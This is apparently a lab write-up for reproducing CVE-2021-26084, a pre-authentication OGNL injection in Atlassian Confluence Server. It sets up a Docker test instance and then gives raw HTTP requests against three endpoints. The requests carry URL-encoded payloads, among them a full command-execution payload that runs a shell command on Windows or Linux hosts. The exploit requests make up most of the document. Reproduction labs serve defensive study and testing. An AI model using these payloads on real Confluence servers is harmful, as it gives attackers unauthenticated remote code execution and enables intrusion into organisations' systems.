Atlassian Confluence Webwork Pre-Auth OGNL Injection Leads to RCE (CVE-2021-26084)

中文版本(Chinese version)

Confluence is a web-based corporate wiki developed by Australian software company Atlassian.

An OGNL injection vulnerability exists that allows an unauthenticated attacker to execute arbitrary code on a Confluence Server or Data Center instance.

References

Vulnerable Environment

Execute following command to start a Confluence Server 7.4.10:

docker compose up -d

After the environment starts, visit http://your-ip:8090 and you will see the installation guide, select "Trial installation", then you will be asked to fill in the license key. You should apply for a Confluence Server test certificate from Atlassian.

Following this guide to complete the installation.

On the database configuration page, fill in the form with database address db, database name confluence, username postgres, password postgres.

Exploit

There are multiple API endpoints that are affected by this vulnerability.

/pages/doenterpagevariables.action

This is a pre-auth exploit, executing 233*233:

POST /pages/doenterpagevariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

Executing arbitrary commands:

queryString=%5cu0027%2b%7bClass.forName%28%5cu0027javax.script.ScriptEngineManager%5cu0027%29.newInstance%28%29.getEngineByName%28%5cu0027JavaScript%5cu0027%29.%5cu0065val%28%5cu0027var+isWin+%3d+java.lang.System.getProperty%28%5cu0022os.name%5cu0022%29.toLowerCase%28%29.contains%28%5cu0022win%5cu0022%29%3b+var+cmd+%3d+new+java.lang.String%28%5cu0022id%5cu0022%29%3bvar+p+%3d+new+java.lang.ProcessBuilder%28%29%3b+if%28isWin%29%7bp.command%28%5cu0022cmd.exe%5cu0022%2c+%5cu0022%2fc%5cu0022%2c+cmd%29%3b+%7d+else%7bp.command%28%5cu0022bash%5cu0022%2c+%5cu0022-c%5cu0022%2c+cmd%29%3b+%7dp.redirectErrorStream%28true%29%3b+var+process%3d+p.start%28%29%3b+var+inputStreamReader+%3d+new+java.io.InputStreamReader%28process.getInputStream%28%29%29%3b+var+bufferedReader+%3d+new+java.io.BufferedReader%28inputStreamReader%29%3b+var+line+%3d+%5cu0022%5cu0022%3b+var+output+%3d+%5cu0022%5cu0022%3b+while%28%28line+%3d+bufferedReader.readLine%28%29%29+%21%3d+null%29%7boutput+%3d+output+%2b+line+%2b+java.lang.Character.toString%2810%29%3b+%7d%5cu0027%29%7d%2b%5cu0027

/pages/createpage-entervariables.action

This is also a pre-auth exploit:

POST /pages/createpage-entervariables.action HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 47

queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027

/pages/createpage.action

This exploit requires a user permission to create pages:

GET /pages/createpage.action?spaceKey=EX&src=quick-create&queryString=%5cu0027%2b%7b233*233%7d%2b%5cu0027 HTTP/1.1
Host: 192.168.1.162:8090
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.162:8090/template/custom/content-editor.vm
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: JSESSIONID=7B35600F54A9E303CE8C277ED960E1E7; seraph.confluence=524289%3A2ac32a308478b9cb9f0e351a12470faa4f2a928a
Connection: close